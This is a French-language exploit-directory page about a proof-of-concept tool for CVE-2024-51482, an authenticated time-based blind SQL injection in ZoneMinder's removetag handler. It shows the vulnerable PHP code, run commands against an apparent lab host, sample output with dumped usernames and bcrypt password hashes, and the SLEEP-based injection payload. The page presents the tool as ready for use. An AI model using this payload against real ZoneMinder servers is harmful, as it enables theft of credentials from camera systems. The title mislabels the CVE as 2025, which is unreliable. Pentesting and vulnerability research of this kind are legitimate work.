Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-51482 — CVE-2025-51482 POC, Extraire les identifiants de zm.Users | Kitploit
Outils/GitHubGitHub/c0gnit00/cve-2024-51482
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC, Extraire les identifiants de zm.Users

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-51482 — ZoneMinder Injection SQL aveugle basée sur le temps

Une preuve de concept d'exploit pour CVE-2024-51482, une vulnérabilité d'injection SQL aveugle basée sur le temps authentifiée dans ZoneMinder v1.37. ≤ 1.37.64*.

Le script extrait les noms d'utilisateur et les hash de mots de passe de la table zm.Users en utilisant une recherche binaire (bissection) sur un oracle basé sur SLEEP().


Vulnérabilité

Le gestionnaire removetag dans web/ajax/event.php paramètre en toute sécurité une requête DELETE mais interpole ensuite directement l'entrée contrôlée par l'utilisateur dans un SELECT suivant :

root@kitploit:~
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId provient directement de $_REQUEST['tid'] sans aucune sanitisation, permettant une injection via le paramètre tid.


Prérequis

  • Python 3.8+
  • requests (pip install requests)
  • Un cookie de session ZMSESSID valide provenant d'un compte ZoneMinder connecté

Utilisation

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

Arguments :

  • --url — URL de base de ZoneMinder (ex. http://cctv.htb/zm) (obligatoire)
  • --zmsessid — Valeur du cookie ZMSESSID (obligatoire)
  • --sleep — secondes de sommeil pour l'inférence temporelle (par défaut : 3)
  • --timeout — délai d'attente de la requête en secondes (par défaut : sleep + 3)

Exemples :

root@kitploit:~
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

Obtenir le cookie de session

Connectez-vous à ZoneMinder, ouvrez les outils de développement du navigateur (F12) -> Application -> Cookies, et copiez la valeur de ZMSESSID. Alternativement, interceptez n'importe quelle requête authentifiée dans Burp Suite et récupérez-la depuis l'en-tête Cookie.


Sortie

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

Fonctionnement

  1. Référence — envoie une requête propre tid=1 pour mesurer le temps de réponse normal.
  2. Confirmation — injecte SLEEP(2) et vérifie que la réponse est retardée d'au moins 2 secondes.
  3. Nombre de lignes — recherche binaire de COUNT(*) sur zm.Users pour déterminer le nombre de comptes existants.
  4. Extraction — pour chaque utilisateur, recherche binaire de la valeur ASCII de chaque caractère dans Username et Password (~7 requêtes par caractère contre 95 pour un scan linéaire).

Structure de la charge utile :

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 est nécessaire car le DELETE sécurisé avant le SELECT vulnérable provoquerait une erreur 500 sans cela, interrompant l'exécution avant que l'injection ne soit atteinte.


Références

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à la recherche éducative.
Obtenez toujours une autorisation écrite explicite avant de tester tout système que vous ne possédez pas.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.

Télécharger l’outil